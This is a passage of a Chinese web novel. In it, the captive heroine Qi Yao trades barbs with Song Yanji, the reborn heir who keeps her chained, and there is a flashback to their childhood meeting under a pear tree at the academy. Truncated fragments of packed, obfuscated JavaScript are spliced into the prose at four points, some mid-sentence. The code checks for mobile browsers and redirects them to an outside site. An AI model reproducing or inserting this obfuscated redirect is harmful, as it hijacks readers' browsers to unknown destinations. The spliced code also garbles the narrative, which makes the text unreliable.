祁谣本来还幸灾乐祸地看定北侯府的侍卫出糗,听完他的话,面上的讥笑也滞住了。 这说的什么话? 言外之意好像他们在做什么偷鸡摸狗的勾当似的。 虽然她试图挟持人质的行为是不太正道,但眼前这位四肢发达头脑简单的侍卫话音里所指的显然是另一种意思。 祁谣默不作声打量徐义,突然联想到了秦止雪,他们的脑回路是一种风格,哪天碰面了应该很聊得来。 宋厌疾注视着他,缓缓地,勾出一个微笑,脸色阴沉得肉眼可见。手指收紧力道,痛得祁谣蹙起眉。 “看见了又如何?你们跑什么?我们见不得人?” 徐义在心里流泪成雨。 到了这时候,世子都不愿意把手从这位姑娘的脸上移开,自己却带人坏他好事,当真死到临头了。 他把头垂得更低,将最后的希望寄于拍马屁:“属下不敢!世子和这位姑娘堂堂正正光明磊落!天作之合!” 祁谣:“......” 宋厌疾:“......” 空气寂静许久,徐义不敢抬头,没能看见宋厌疾此时的脸色有多臭。 他连假笑都装不下去了,咬着后槽牙,耷拉着眼,手按在剑柄上,剑身出鞘一寸,又被理智强压回去。 “天、作、之、合、?” 宋厌疾连掐着祁谣的手都收了回去。 “让你们瓮中捉鳖都擒不住,人被我抓了才赶到。搞出一副丢人现眼的动静还嫌不够,又来搞笑?” 徐义猛地抬头。 人已经被世子抓到了? 那他身边这位不就是......? 徐义满目惊恐。 他终于意识到自己闯了个怎样的大祸。 这姑娘背对着自己,又和世子贴这么近,他脑子里一出现猜想便移开视线不敢细看,没成想闹了个大乌龙。 徐义在心里欲哭无泪地伸冤:真怪不得他吧,世子掐着人家的脸,看着一副要亲上去的样子,很难叫人不浮想联翩啊。 虽然徐义的脑回路有点冒犯,但祁谣看见侯府侍卫这副草台班子样以及宋厌疾吃瘪还是挺幸灾乐祸的。 并且她很乐意再给宋厌疾添点堵。 祁谣毫不客气地拍掌嘲笑:“世子御下有方。” 宋厌疾黑着脸,右手握住剑柄,一派要拔剑的气势。 刚完成洗尘宴收尾事务的管事匆匆赶来,见状唯恐他把人砍了,急忙喊道:“世子三思!明日就是除夕了!杀生不吉利啊!” “我不会让她死。”宋厌疾微眯着眼,扫了眼焦急的管事,重新落回祁谣身上,“不过差点就要刺你一剑了。” 祁谣不以为然,反正叶以玫已经逃出去了,心里的大石头落地,其他的事反而挑不动她的心绪。 她抱着手臂,歪头笑道:“真想弄死我哪来这么多借口,窝囊废。” “——” 全场骤静。 徐义甚至都顾不上规矩,惊恐抬头望向这位口出狂言的找死女子,这才看清面貌。 竟是顶着这么一张冷淡天仙似的脸说出刚才那句话吗? 她的睫毛很长,微垂在眼前像一层纱。瞳色浅灰,从整体上将眼眸衬托得朦胧,也隐去了眼神里的波澜。 墨发顺滑乌亮,左边几缕挽在耳后,单边发髻下还编了条小辫子,为这副冷淡面容添上几分灵动的生气。 徐义又上下打量了眼,才发现这位姑娘身上的首饰寥寥无几,发间不佩簪,手腕也白白净净空无一物,只有锁骨上方挂着个精巧的长命锁,被一条简陋的丝绳串起来。 和这位低调的姑娘相比,自家世子的打扮简直像个花枝招展的开屏孔雀。 管事仔细打量后的感想和徐义不谋而合。 想起方才的狂傲之语,他望向祁谣的眼神像是又瞧见了一尊难伺候的祖宗。 他将目光小心翼翼地移向自家世子,唯恐他大发雷霆。 放在以前,谁敢这样挑衅世子,十个脑袋都不够砍的。 然而如今的宋厌疾却是出乎意料的平静,好像早就听惯了这些已经脱敏似的。 宋厌疾俯下身,与她对视,什么话也没说。 安静了好一会儿,直到祁谣脸上的笑意维持不住逐渐消失,他才勾起唇角,抬手戳了戳祁谣脸颊上的某一点——那是她方才笑起来时酒窝出现的地方。 “是不是想看我恼羞成怒?很可惜,我的脸皮比你想的要厚。这种程度的挑衅,完全是——无、动、于、衷。” 至于脸皮是怎么厚起来的,也离不开祁谣的功劳。 不过这些,眼前的这位祁谣并不知道。 注视着她笑容逐渐失败的过程反而让宋厌疾很兴奋。 他又戳了戳酒窝处的软肉。 “我怎么舍得你死?” “恨你的人不会允许你解脱。你还会活得很长,我要你时刻疼痛、求死不能地——与我共生。” “过了这两日,就是你噩梦的开始。” 他语气阴寒,开口说话像是一条毒蛇在吐信子。 祁谣挑眉扫他一眼,不以为然。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749888|174289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这四年来从危险里出生入死那么多回早就习惯了,不差这一次。 只要还有时间,她就能想出脱身的办法。 管事与徐义面面相觑,硬着头皮插入对话:“世子,这位......祁姑娘,要怎么处置呢?” “就关隔壁,我要随时能看见她。” * 于是祁谣就坐下来打量这间囚牢。 虽说是空置已久的偏房,但屋内却宽敞明亮,收拾得格外整洁,实在不像是关押死敌的地方。 以徐义为首的侍卫通通被宋厌疾叫走挨训了,管事遣了位年纪较小的婢女来监视她,每日向宋厌疾汇报。 “你好呀,我是负责监视你的人,叫我小桃就可以啦!” 眼睛亮亮的,笑起来格外热情,瞧着也不像练家子。 祁谣松了口气,默默收回视线,低头摆弄着银手铐,思绪向外飘远。 定北侯府走这一遭,爆出了很多情报,她需得好好捋捋。 首当其中便是那位捉摸不透的崔玉。看穿她来意不善却没揭发告状反而替她解围,似乎与定北侯府关系一般。 坊间相传这位丞相大人交际淡如水,不交友也不结怨,如今看来并非如此——吗? 不,还有缺漏。 祁谣倏地想起方才宴席上得罪自己的那人。 他虽言语傲慢,却也说了句实话——前些年有人御前直呼公主名讳而无降罚。 这在京城官员里并不是什么秘闻,稍有心就能打听到。 宋厌疾这几年在外不知就算了,崔玉怎么可能无所听闻? 他睁眼说瞎话若是为了迎合宋厌疾,又怎会纵容她这样的刺客搅乱定北侯府? 前后相悖。 祁谣不解。 如果不是为了迎合宋厌疾,他为什么要替自己说话? 众人眼里的姜望舒不过是一位被冷落的早逝公主,宫中最是捧高踩低,替她说话可没有半分好处。 祁谣看不透崔玉这么做的缘由。 她脑海中浮现出的第二道身影,是李星歌。 比起叶以玫和秦止雪,李星歌与她因利而合,各取所需,本身并无私情维系,更像是临时的合作伙伴。 因此祁谣在盘算行动时并未将她考虑进去——她自身难保,定不愿来定北侯府趟浑水。 但人心是个飘忽不定的东西,祁谣什么都没提过,李星歌居然会暂时按下趋利避害的本能,冒着风险,循着打听来的消息,助她一臂之力。 她有些意外,惊喜又感激。 祁谣抬起小臂,朝名为小桃的丫鬟晃了晃手铐,链条拖动的声音吸引她转眸,正好对上祁谣的眼睛。 “我想吃东西,可以帮我解开这个吗?” 小桃杏眼亮晶晶地看着她,坚定摇头。 “好吧,能理解。” 小桃刚松下一口气,却差点被祁谣的下一句话吓晕过去。 “转告你们世子,不用他动手,我先死了。” “饿死的。” 说罢便站都站不稳了,左摇右摆,两眼一闭就躺地上了。 一回生二回熟,祁谣现在装晕已经很像模像样。 至少眼前的纯真少女信以为真了。 她举起双臂往外跑:“世子!世子!祁姑娘晕死过去了!” 8. 学宫往事【回忆章】 祁谣回想起过去和宋厌疾的交集,仅仅只有一天。 那年她十五岁,还是皇城里唯一的公主殿下,姜望舒。 即便有母亲教导读书写字,她仍然对弟弟姜懿行口中的学宫充满好奇。 学宫是什么地方?那里有什么特别的?父亲为什么唯独不允她去? 每当她问起,母亲只是温柔地抚摸她的发顶,轻声细语:“因为他目光短浅,心胸狭窄。” “你想学什么?阿娘都能教你。” 那时候自己还没死心,学宫的正门不让进,就翻墙进来。 趁旁人午憩,她抱着树干奋力往上蹬,爬呀爬呀,终于高过了那堵不欢迎她的墙。老梨花树长得很高,枝叶向学宫内延展,尚且天真的少女也抱着梨花枝向边缘爬。 这是她第一次爬树,不讲章法技巧,全凭身体本能。 她还没来得及为自己的成功欢呼雀跃,先听到膝盖正下方传来了一声脆响。 咔擦—— 梨花枝替她欢呼雀跃了。 少女满脸惊恐地向下坠落,伸出手却抓不住任何足够缓冲的东西,刚要尖叫呼救,突然想起了什么,慌慌张张地死死抿住嘴,生怕别人发现了她偷溜进来。 除了骤然急剧的风声,她这一摔竟没发出半点声音。 也正因此,此刻靠在墙角午睡的少年没能躲开从天而降的袭击。 他被一具柔软的身躯砸中惊醒,艰难地睁开眼,只觉得天旋地转。 满树梨花雨,纷纷扬扬一片白,在他的视野里星盘般转动。 他两眼惺忪,还未完全睁开,呆呆地摸着脑门上凸起的大包。 “下雪了?” 他撑着墙刚要站起来,动作一顿,突然意识到腿上的重量不太对劲。 低头一看,一坨白茫茫的东西,隐约有个人形。 “哪来这么重的雪人?” 又是谁趁他睡觉的时候来整蛊他? 他口中的“雪人”耸动一下,努力抬起脸,像只水坑里蹦出来的小狗一样摇头晃脑,堆在身上的梨花被这番动作抖下来。 “我是大活人!你怎么能把我看成雪人!” 少年盯着她看,她也光明磊落地盯回去,眨眨眼表示自己会动,是个活物。 视野里所见的一切仍然旋转着,看得他头晕眼花。 他向前伸出手,慢吞吞地从她肩头揪几片白色过来。 放在手心里,一点都不觉得凉。 等到头脑里的那阵晕眩渐渐缓和下来,视线重新聚焦在手心,他才发觉原来是白色的花瓣。 少年默默收起花瓣,藏在交叉的衣襟里,这才抬眸,认真注视起眼前的天降活人。 一袭靛蓝色织金长裙色泽鲜亮,裙摆上添了层绫纱。少女星眸粉唇,神采昳丽,在他这样死气沉沉的人面前尤为惹眼。 只是很陌生。 他与学宫同窗交集再少,也不至于对这样灵动惹眼的人毫无印象。 她给人的感觉很特别,是此前未见过的。 是新来的吗? 于是他问:“你是谁?” 最简单的问题却难倒了自诩“璇玑宫首智”的姜望舒。 她抿起嘴,半天回答不上来,只好故作高深反问:“我为什么要告诉你?你又是谁?” 少年若有所思盯着她。琥珀般澄亮的眼眸里看不出什么波动,盯得姜望舒心里一阵忐忑,就快要装不下去了,生怕被看出破绽。 “我叫宋厌疾,你呢?”眼前的少年突然说。 他倒是坦率。 姜望舒嘴角来回扯动,似乎在犹豫,就是不肯开口说一个字。 “你不想让别人知道你的名字?”宋厌疾抬头扫了眼越过墙头的梨花树,“或者说,你不该出现在学宫?” 锐利的视线上下扫过她的衣饰。双髻别着银月发钗,颈间系有长命锁,和那群同窗小姐比起来素净得多,却别有贵气。 “让我猜猜看,你是不是传闻中大名鼎鼎的公主殿下?” 少女震惊的眼神告诉他,猜对了。 “欸?我很有名吗?”她讶异地指了指自己,呆呆道,“我叫姜望舒。” 宋厌疾幽幽说:“学宫的神秘名人。” “为什么?我今天才第一次进来呢。” “因为大家都很崇拜你。同样的年纪,只有你厉害到不用来上学。” 姜望舒哭笑不得:“你们听谁说的?” “六皇子。” 这个蠢弟弟!竟然在学宫里捧杀她! 姜望舒解释:“他乱讲,你们别信。我不来学宫,只是因为父皇不允而已。” “我还是很想来的。”她嘀咕着,“不然今日就不会爬树翻墙溜进来了。” 这么高的树,她居然真爬得上来? 宋厌疾微微睁圆了眼睛,朝她竖起大拇指:“厉害。” 姜望舒不好意思地笑了笑,坐在梨花树下和他闲聊几句,等到夫子教书的铃打响,蹑手蹑脚跟在宋厌疾身后。 少年时不时转头望她一眼:“真要听?” 姜望舒坚定点头。 “很无聊的,别在窗外听睡着了。” “你们天天上学当然无聊了,我这才第一次呢,稀奇得很。” “你高兴就行。”宋厌疾叹了口气,脱下披风铺在窗外草地上,“坐这上面吧,别把自己的裙子弄脏了。” 姜望舒眼睛一亮,又惊又喜。 “好贴心啊,谢谢你呀小宋!” 宋厌疾在学宫里没什么朋友。他性格沉默孤僻,同窗连话都没和他说过几句。面对姜望舒这般直白的夸赞、亲切的昵称,他有些不知所措,任凭桃粉色铺满整个耳朵。 宋厌疾声音越来越小:“为什么叫我小宋?” “你和我弟弟是同窗,那我应该也算是你的姐姐辈?” “随便你怎么叫吧。” 宋厌疾似是懊恼,低下头,张开手盖住了大半张脸,默默往书室里走。 姜望舒在身后挥手:“记得好好上课!” 她拎起裙摆,在宋厌疾的披风上坐下,高度不及木窗,看不见书室里是何情景,只能在外面听个响。 好像......听着......是有点干巴。 还不如她阿娘讲得有趣。 姜望舒是什么时候睡着的,自己都没发现。 等到她迷迷糊糊睁开眼,天色已经泛起昏黄,赤金色的夕光洋洋洒洒扑进书室,时候不早了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749889|174289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “糟了!”姜望舒倏地站起来,却意外发现身下的披风没被撤走。 小宋人还怪好的,看自己睡着就不忍心拿回去了。 明日叫姜懿行带给他吧。 书室里的人应该放学走光了,她这个时候溜进去看,好像也不是不可以? 来都来了,就把学宫探索到底吧! 她这么想着,一手抓起披风,踩上窗沿,轻松翻过窗户,然后顿住了动作。 “咦?” “殿下?” “你还在啊。” 两个人异口同声。 宋厌疾手里拿着块亚麻布,叠得方方正正,目光落在她方才踩过的窗沿,解释道:“轮到我值日了,所以留到现在。” “你怎么还没回去?” 姜望舒把披风递还给他,干巴巴笑了两声:“睡着了,现在才醒。” 宋厌疾泄出一声笑来,将窗沿重新擦干净,调侃道:“谁说稀奇得很,不会睡着的?” “肯定不是我。” “嗯,肯定不是殿下。”宋厌疾配合她的狡辩,话锋一转,突然问起明天的事来,“明日你还会来吗?” 这是个让人纠结的问题。 姜望舒陷入思索。 “学宫里也没什么意思......” “也是,这里很无聊。”宋厌疾垂下头,声音闷闷的。 “你很想我来吗?” 宋厌疾猝然抬眸看向她,那一瞬流露出来的可怜、乞求、希望纷纷落入她眼中。 但他很快移开了视线,又像是什么都没发生过一样,淡淡地说:“随你。” “想来就来,觉得没意思就别来。” 姜望舒憋不住笑出声,上前拍拍他的肩:“你的表情分明写着很想我来找你,还装起什么都不在乎的高冷样子来了。” 宋厌疾脸皮尚薄,被看穿了心思,决定嘴硬到底:“没有,你看错了。” “行,那我明天不来了。” “......哦。” 姜望舒好笑地看着他的脸色逐渐变得像苦瓜。 “坦诚一点又不丢人。” 宋厌疾不吱声。 “虽然明天不来,但我以后还会溜进来找你玩的。” “还是从老梨花树上爬过来。” 宋厌疾蹙起眉:“很危险。” 上次要不是他正好在下面午睡,那个高度摔下来,姜望舒绝对要骨折。 “一回生二回熟,下次就不会这么冒失了。”姜望舒心大,永远是一副松弛的样子,“摔不死我的。” 宋厌疾扶额:“这树你非爬不可吗?” “没有别的办法溜进去了,学宫的墙又高又平,想翻墙也翻不过去。” 宋厌疾认真地看着她:“下次挑正午的时候来,我可以在下面接你。” 姜望舒一愣,随即笑起来,嘴角边上两个甜甜的酒窝。 “谢谢小宋!” 他们挥手说完下次见,分道往相反的方向,各回各家。 待在璇玑宫的日子平平淡淡却已知足,偶尔被皇后叫去聊天散步。裹在这样轻松自在的时光里,她很快就将仅有一日之交的玩伴抛之脑后。 她再也没来过学宫。 9. 吃耳光 “真饿晕过去了?” 宋厌疾的声音将她从回忆拉回。 祁谣接着装死。 脚步声渐近,停在耳边。紧接着便是衣料与地面摩擦的声音,似乎有人蹲了下来。 带着一层薄茧的指腹自颈间向上抚,略过嘴角,缓慢停下在眼皮上。薄薄的一层,青紫色的血管在肤色上显出半透明的脉络。 眼周的肌肤脆弱,祁谣又闭着眼,指腹拂过的触感成倍放大。 她在心里咬牙。 宋厌疾是故意膈应她的吧?他好像很喜欢做一些多余的举动。 像是对待一块来之不易的糖果,所以含在口中细吮、咀嚼,就是不让她下去。 思绪蓦然顿住,连自己都被这突然冒出来的比喻惊到了,强压下心头那股不耐的劲儿,继续装死。 “演技烂到家了,别装。” 有人凑到耳边哑声说。气息极近,仿佛要汇成两根无形的手指,捏起她的耳垂。 祁谣无动于衷。 她连睫毛都没多颤一下,装死装得天衣无缝。 宋厌疾还想讹她?门都没有! “世子,可能祁姑娘是真的饿晕过去了......”小桃的声音里难掩担忧。 “是吗?” 祁谣骗得过旁人,可骗不过他的眼睛。 俗话说百炼成钢,上辈子在祁谣那吃了不少苦头,他现在的经验不是一般的丰富。 只需要看上那么一眼。 像是生出一只手骨。探进去。穿过她的皮肉,桎梏住鲜活跳动的心脏。包围它,每一次鼓动都与之同频。她的所念所想,全部、一丝不落地,被自己知晓。 宋厌疾扬起嘴角,冷笑一声,眼眸里浮起势在必得之色,握住垂着的柔白手腕,猛然施力将人拽起,丢到一旁的坐榻上。 腕上像是突然落了一道拷锁,死死压着她,不留一点挣扎的余地。 她踉跄几步,头脑里一片天旋地转,方向不受控制,下意识撑起手稳住身子。 祁谣倏地睁眼,向来淡薄的脸庞上难得显出几分怒意,视线仿佛要凝成冷兵器,将眼前穿得跟五金批发似的人千刀万剐。 “你去死行吗?” “我不。”宋厌疾坐在榻上另一头,与她面对面平视,“说好了纠缠不休,我自然得活着,你也是。” 精致的面容上仍挂着笑,祁谣却觉得他连唇角的弧度都那么恶寒,像个阴间来的疯子。 再和他说下去,她一个大小脑发育健全的正常人也要被传染了。 小桃低头站在宋厌疾身后,眉尾下垂,手里提着食盒。 祁姑娘没再说话,世子也一言不发地盯着人家。 偏房里好一阵寂静,她才敢默默提醒:“世子,食盒里的饭菜快要凉了。” “端出来摆小桌上,你用过晚膳了吗?饿的话也吃点。” 每当他和旁人说话的时候,又看着挺正常的。 宋厌疾好像只对自己发癫。 凭什么?他们有什么过节? 祁谣想不明白。 真要勉强挤出一点恩怨来,就只有自己十五岁时转头就忘了他再也没来学宫。 宋厌疾总不能为了这个怀恨在心惦记到现在吧? 不对,他连自己就是姜望舒都没认出来。 在作为“祁谣”以后,他们可是一点交集都没有。 宋厌疾凭什么记恨她、针对她? 见祁谣发呆半天都没动筷,小桃觑了眼银拷:“世子,祁姑娘双手被拷着似乎不便用膳。” “怎么?你想让我解开?” “婢子不敢。” 祁谣冷笑着接话:“不解开我怎么吃?等我饿死了原地化作厉鬼,我会日日扰你不得安宁。” 宋厌疾自动忽视了后半句话,视线扫过被拷在一块的双手,这个姿势,确实不方便动筷。 除非有人把饭菜喂到她嘴边。 想法升起的一瞬间就被宋厌疾压回去了。 被祁谣杀死还不到一旬,现在要他一口一口喂着自己的杀身仇人吃饭? 开什么玩笑?他重生又没把脑子重置坏了。 余光注意到宋厌疾的表情变幻莫测,从认真思索到荒唐最后变得阴戾,祁谣不懂他的脑子又在抽什么风。 “咔哒——” 祁谣微微睁大了眼。 宋厌疾竟然给她解开了手铐? 欣喜只一瞬,马上便被警惕取而代之。 果不其然,她的双手刚恢复自由,又是“咔哒”一声,宋厌疾重新上了锁。 像故意溜着她玩。 与之前不同的是,这回只铐住了她一只手。 但祁谣的面色并没有因此缓和下来,反而添了几分嫌恶——手铐的另一端,是宋厌疾。 他们两个人。被一副该死的手铐。连在一起。 这个认知让祁谣无比膈应。 宋厌疾的反应就没这么大了。他接受良好,晃了晃自己的右手,连带着祁谣的左手也被迫抬起。 “可以动筷了。” 然而那人还是一动不动,视线直勾勾盯着自己。 “嗯?看我做什么?” 祁谣不说话,只是注视着他,眼神里并无温度,像是在等待什么反应。 “呵。”宋厌疾忽地轻笑起来,“我自己都吃上了,你还怕我在饭菜里下毒?” 他略微歪头,眸光里的唏嘘之色流露真切:“说起来,今日碰面,总觉得你降智了。” “谁给你下套了吗?蠢得我不敢认。” “要不是你刚刚又用那种语调喊我去死,我都要怀疑是不是本尊了。” 祁谣没有被这番话激怒,反而越发觉得莫名其妙。等到宋厌疾说完,她心里就只剩下了荒谬的嗤笑,发自内心地怀疑宋厌疾的精神状态。 真的不正常。 为什么是“又”? 她以前都不认识他,上哪精准找到宋厌疾还要对他说一句去死? 没有一个正常人会尝试和疯子讲道理。 祁谣视线径直越过他,落在一旁默默干饭的小桃身上:“劝你们世子早点去看大夫,他的臆想症很严重,拖着不治迟早变成痴呆小儿。” 小桃愣愣地放下饭碗,没想到自己会被两人的战火波及。 虽然她也意识到世子说话有点奇怪,但作为定北侯府的丫鬟,她不敢妄议自己的上司。 她讪笑:“劳姑娘牵挂,世子身心康健。” 宋厌疾就这么目光煜煜地望着她,瞳色像掺了蜜,将眼眸里映着的祁谣裹得严严实实,密不透风。 他牵起一抹意味深长的笑。 “你先出去吧,我有话要单独与这位祁姑娘说。” 小桃连连点头,夹上几块肉,端上饭碗,一溜烟儿逃出去了。 居室内,又一盏烛火燃尽。 灯烛熄灭,昏暗重新笼罩下来,但宋厌疾并没有要重新点灯的意思。 他迟迟不开口,故意磨着人,目光紧锁于祁谣。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749890|174289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他很享受祁谣戒备却强装平静的神情。 看啊,这次也是他占据上风。 发颤的瞳孔已经出卖了祁谣。她一点儿也不冷静。 她像一只落入陷阱的猎物那样恐惧不安,捕网的另一端正紧握在自己手心。 而他站在这里,什么都不用做,就已经是与于她而言莫大的威胁了。 她不得不防备他,完全处于这场关系里的被动地位,被自己牵着走。 “到底要说什么?”祁谣冷声催促。 宋厌疾看她的眼神粘腻得恶心,像蜘蛛丝一样缠上来,一副很享受的样子。 她不想在他发疯时堪称享受的视线下多待一秒钟。 “别这么着急,再让我欣赏一会儿你逞强的样子。”宋厌疾低叹,“你总是在这种时候最有趣最生动。” 被同一副手铐的两端锁着,无法与彼此隔远。 金属链条将他们绑定在一起,祁谣想走,可她每往后退一步,宋厌疾就被拽过去向前倾,差点迎面摔在她身上。 “啪!” 掌心拍打在脸上的声响清脆,像是故意遮掩般盖过了祁谣略显急促的呼吸。 精致白皙的脸上明晃晃的一道手印,很快泛起艳粉色。 宋厌疾眼眸里明显闪过怔愣,死死盯着祁谣。他捂着半边肿起的脸颊,今晚第一次破防了。 “你打我的脸???” 哪怕是在军营历练的日子里,他的脸都白白净净的,没像现在这样又红又肿! 仗着自己不会痛快地杀死她,祁谣就敢蹬鼻子上脸。 被他咬牙恨视的人勾起一抹冷笑。 “世子出言前掂量一下,要是头脑没清醒过来,我还会扇你,正好左右配对。”祁谣晃了晃腕上的手铐,“宋厌疾,你把自己也折进去了。这东西不解开,就只能挨耳光。” "你!" 蜜色的桃花眸满含怨恨,他心不甘地取出一枚银钥匙,果真断开了两人之间的链接。 银拷在她双手重新落锁,祁谣的面色却缓和许多。 不管怎么说,总比和宋厌疾绑一起好。 宋厌疾目光灼灼注视着她,暗自咬牙。 明明这里是自己的地盘。 他把祁谣锁在眼皮子下,可不是给自己找气受的。 他要折磨她,予她恐慌,叫她难安。 宋厌疾突兀笑起来。他的眼眸像一潭死水,只是嘴角缓慢地向上牵。 僵硬的眼珠子盯着祁谣。 居室里一片昏黄,连带着他的眼神光都黯淡了,显出几分死气来。 “祁谣,自我拦下叶以玫越狱的那夜起,你心里很不安稳吧?” “是不是很想弄明白为什么我会这么了解你?” 他的声音幽幽的,阴森寒凉,像是从地府里漫上来。 “因为我是被你亲手杀死的啊。” “而现在,我又活了过来。” 祁谣眼眸冷淡:“此前我与你素不相识。” “你把对谁的仇恨莫名其妙扣到我名头上了?” “就是你啊,祁谣。”宋厌疾垂着眼睫,视线穿透眼前的这副躯体,像要凝望更遥远的地方。 八年后的祁谣就在那里居高临下地冷笑着,将刀尖送进他的心腔。 “再死千万遍我都不会认错你。” 一阵掌风扑面而来。 宋厌疾向后退一步,偏头,恰好躲过又一个耳光。 他轻声笑起来:“你急了。” 10. 除夕 次日醒来,祁谣盯着脚踝上的冰凉金属,陷入沉思。 宋厌疾不知什么时候把手铐取下了,换成脚镣。铁链的长度刚好够她走出房间,在小院里活动,但也仅限于此。。 小桃一直候在她身边。 祁谣背靠院子里的粗壮树干,看这长势应是栽种了有些年头。 然而现在正是一年中最冷的时候,它瞧着光秃秃的,毫无美感。 小桃是个静不住闲不来的性子,视线跟着祁谣移,热情地叽叽喳喳起来。 “这是世子五年前种下的梨花树!别看它现在干巴巴的,开春的时候可好看了,像雪花一样。” 梨花树? 祁谣微眯着眼。 眼前的大块头,倒是叫她想起来学宫里的那棵老梨花树。 是巧合吗? 她想起宋厌疾时不时冒出来的疯言疯语,确实对“祁谣”知之甚深,但却没有与“姜望舒”关联起来。 祁谣在心里松了口气。 还好,最紧要的这层身份没有暴露。 她状似不经意试探:“宋厌疾一只花孔雀,偏偏挑中了这般素雅的梨花,真是稀罕。” 听到这个新奇又有些藐视意味的比喻,小桃努力憋着笑,向她娓娓道来。 “我是近两年才来到侯府做事的。听前辈说,世子小时候没什么同龄人和他亲近,直到去学宫念书,才交到了第一个朋友。” “世子和那位小朋友是在梨花树下碰见的,他那天难得很高兴地从学宫回来,转头就在自己的小院里栽树了。” 讲起这段故事时,小桃双手捧着脸颊,祁谣的反应就没这么欣慰了。 她瞳孔一滞,抽了抽嘴角。 学宫。梨花树。 这段故事,好像有点熟悉。 祁谣忍不住试探更多:“在那之后,他们还有交集吗?” “不知道。”小桃摇了摇头,“不过世子后来没再提起那位小伙伴了,看着也是一副闷闷不乐的样子。” “可能是闹矛盾了吧?” 祁谣默默在心里反驳:也可能是人家压根就没把他放在心上。 一天的友情太浅薄了,站不住脚,随随便便就能抛之脑后。 有人惦记也有人忘记。 * 白玉楼内,主心骨迟迟未归。 秦止雪眼皮哭肿了一大圈,泛着红,默默吸鼻子。 “祁谣还回得来吗......” 他很小声嘀咕。 叶以玫的脸色也很糟糕。她无条件信任祁谣做出的决策,以前不是没有过祁谣留下来断后的时候,但唯独这次,她没能回来。 宋厌疾实在棘手狡诈! 一想到祁谣正在定北侯府遭受虐待,宋厌疾又那么记恨她,说不定连口饭都不给吃,她就咬牙切齿起来。 “堂堂正正砍不过宋厌疾就下毒把他毒死好了!” 话虽这么说,但他们却连接近宋厌疾的机会都没有。 她心里再焦急也只能窝在白玉楼里干巴巴候着,自己的通缉令还在满城飘,一露头就被追捕。 至于秦止雪就更没指望了,他被侍卫丢出来的时候骨头能少断两根已经是谢天谢地。 今日是除夕,茶肆打烊,本该是热闹团聚的日子,却因祁谣的缺席而显得分外冷清凝重。 秦止雪抬臂抹了把泪,触景伤情,不禁回忆起共同度过的第一个除夕。 他自永宁二十年起一人飘零,像一副麻木的空壳毫无目的地行走着。直到祁谣和叶以玫的出现,重新赋予了他“家”的归属感。 祁谣和叶以玫时常忙得不见身影。在大多数时候,他还是一个人待在白玉楼里,留一扇窗等她们半夜回来。 去岁除夕,李星歌也来了。 “她和家里大吵一架,暂时被我们收留了。”祁谣搭肩将李星歌推到自己面前。 李星歌眉目锐利,眼型上挑,看着比祁谣更加不好接近。 天生冷脸,但手里提了袋亲切的红肉绿菜,像过年来串门的亲戚。 尽管他和在场任何一个人都没有血缘关系。 祁谣端着口崭新的铁锅,面带微笑:“还好赶上了市集收摊,只花了平日的一半价钱,今晚就吃古董羹吧。” “我在生火,已经起火星子了。秦止雪赶紧去洗菜!” 叶以玫下令,他乖乖照做。 汤水沸腾起来,李星歌捞出第一块煮熟的肉,夹到祁谣碗里。 “谢谢。” 两道声音一同响起。 祁谣微微睁大了眼,见李星歌一脸诚恳认真的神色,再次郑重道谢:“谢谢你带我离开那个窒息的地方。” 祁谣弯唇一笑:“当年承诺的条件,我说到做到。” 秦止雪不清楚她们曾达成过什么合作,只知道李星歌医术高明。不过,比起救人,她似乎更喜欢研究毒药。祁谣和叶以玫常用的毒针就是出自她手。 锅里升起白雾,弥漫在这间狭小的屋子里,他们紧挨着坐成一圈,吃喝言笑。在一如既往的寒冬腊月里,秦止雪久违地感受到了温暖——就好像他重新拥有了家。 然而这份短暂的美好,由于宋厌疾的到来而破碎了。 想起往年今日,秦止雪又红了眼眶。 “我想祁谣。”他闷声道。 叶以玫静默,注视着他,很轻地叹息一声:“祁谣会回来的。” 以前她会低头拍一拍他的发顶表示安慰,但秦止雪这两年个子拔高了一截,她得抬起手才能摸到头顶了。 叶以玫虽然看起来一副神经大条的样子,但日常的对人观察其实很细腻。 她对秦止雪的总结是——大概是受过去经历影响,秦止雪的心性比较幼稚,缺乏安全感,尤其是对自己和祁谣很是依赖。 “明天我们就去找李星歌帮忙打探祁谣的情况。”叶以玫说。 四年来无数次的出生入死将她对祁谣的信任铸成一堵铁墙,即便是落入宋厌疾手里,叶以玫也这么坚信着。 祁谣说她能回来,就一定能。 她想起那双幽幽盯着祁谣的桃花眼,视线粘腻得像蛛丝,眼底暗流涌动。恨意、杀意还有其他她看不懂的情绪堆积在一起,复杂混沌。 相比干脆的仇恨,宋厌疾所表现出来的情感要特殊得多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 